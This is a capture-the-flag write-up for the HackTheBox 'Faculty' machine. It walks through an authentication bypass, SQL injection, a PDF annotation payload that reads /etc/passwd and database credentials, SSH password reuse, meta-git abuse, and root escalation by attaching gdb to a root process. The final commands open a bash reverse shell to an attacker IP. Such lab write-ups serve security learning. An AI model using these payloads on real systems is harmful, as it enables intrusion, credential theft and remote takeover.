Faculty HackTheBox Writeup

Scanning

We launch nmap tool with scripts and versions on 22 and 80 ports.

We see that it shows us a redirection to "faculty.htb", we put it in our "/etc/hosts" file.

Enumeration

We access the site and see that we are required to enter the ID of a faculty:

We searched for exploits, and found several very interesting ones with SQL Injection or authentication evasion.

But upon investigation, it seems that it will be easier to gain access, we see that we can view the contents of the "index.php" file without credentials.

Proof of concept:

This is very similar to the vulnerability and exploitation of Company's Recruitment Management System 1.0 (I take advantage of this post so you can read it anyway).

Exploiting

So, we only have to modify the 302 responses by 200, to maintain access.

Knowing the identifiers, it is now possible to access the information in each of the doctors.

Unfortunately, they had removed the action buttons on the user, I also failed to replicate editing the user to try to get the password.

But well, let's remember that there are public exploits for SQL injection, so I launched sqlmap and saw that it was indeed vulnerable.

Tables:

User columns:

User credentials:

Unfortunately, I was unable to break the hash and could not continue in this way.

So I continued to review the database information and found in the "description" field that local files were being loaded with their absolute paths.

Searching the application fields, I found the "Subject" and "Description": (This was a capture of a PoC XSS, change the line for the payload below.)

Payload:

 <annotation file=\"/etc/passwd\" content=\"/etc/passwd\" icon=\"Graph\" title=\"Attached File: /etc/passwd\" pos-x=\"195\" />  

Download the PDF file:

We open the pdf with a viewer and we see some icons to the right of the document, we click and we can view the contents of the file "/etc/passwd".

We repeat the procedure, this time we will read the file "db_connect.php", this file contains credentials of the connection with the database.

We reuse the password on the user "gbyolo" by SSH, we get access but we do not have access to read the user.txt flag.

We see that we can run meta-git as the "developer" user, to gain access and read the flag from user.txt

We look for information about this binary, we see that apparently, we need repos and the cloning is done on .meta files.

We searched on the server and found these:

I started trying the classic commands that GTFOBins gave me, until finally one of them worked.

If we can read the flag and our user has SSH key, it is possible that the "developer" user also has SSH key, this is typical for development users.

Now we access by SSH with the user "developer", but we see that we also need the password and we don't know it.

We put our public key in the "authorized_keys" file to later authenticate via SSH.

SSH connection with the "developer" user:

Privilege Escalation

We launch the "linpeas.sh" tool, we list that the gdb binary can be executed by root or the "debug" group.

We can see that we belong to the group and that we can run gdb with our user.

Looking for information about GDB, I found this post by Stark0from Sanctuary, in which he comments that it is possible to extract information from memory or execute commands. 

Commands:

 export PID=$(ps aux | grep "^root.*python3" | awk '{print $2}')  
 gdb -p $PID  
 call (void)system("bash -c 'bash -i >& /dev/tcp/10.10.XX.XX/443 0>&1'")  

We listen on port 443, execute the commands and see how we receive a connection from the machine as the root user, finally we read the root flag.